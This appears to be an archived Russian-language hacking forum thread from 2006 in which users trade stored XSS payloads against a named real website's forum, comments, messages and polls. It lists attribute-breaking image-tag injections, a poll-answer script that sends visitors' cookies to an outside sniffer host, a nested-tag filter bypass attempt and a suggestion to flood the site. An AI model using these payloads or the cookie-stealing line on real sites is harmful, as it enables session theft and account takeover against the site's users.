PDA

Просмотр полной версии : mylivepage.ru активные XSS


__XT__
19.11.2006, 22:08
mylivepage.ru/
активные XSS в форуме, комментариях, личных сообщениях и везде где можно
оставить своё сообщение.

Нет фильтрации `"` применив дополнительные динамические
параметры тэга img експлуатируем XSS:
[[Smile:"dynsrc="javascript:alert()]]
[[Smile:"lowsrc="javascript:alert()]]
[[Smile:"style="javascript:alert()]]
[[Image:"lowsrc="javascript:alert()]]
[[Image:"style="javascript:alert()]]
[[Image:"dynsrc="javascript:alert()]]
[[http://qwe.ru"style="background:url(javascript:alert())]]

__XT__
19.11.2006, 22:11
ггг совсем забыл про ещё один параметр onerror=
помойму=)))
короче пипец=
мне кажеться хсс самое малое чт отам есть....наверняка там пхп инъекций куча!
и скуль тоже.

DimOnOID
13.12.2006, 16:52
там ещё в Опросе есть ....

в вариантах ответа пишем..

<script>img = new Image(); img.src = "http://site.ru/ваш СниФ.jpg?"+document.cookie;</script>

и куки у нас....

Retscan
23.12.2006, 14:31
Да этот mylivepage.ru даже id сессии не сохраняет и код авторизации всегда один и тот же можно использовать - можно зафлудить по самое не могу.

Правда, слово "<script>" фильтруется полным удалием. Даже <scr<script>ipt> не помогает. Так что че-то затруднился с угоном печенья :confused: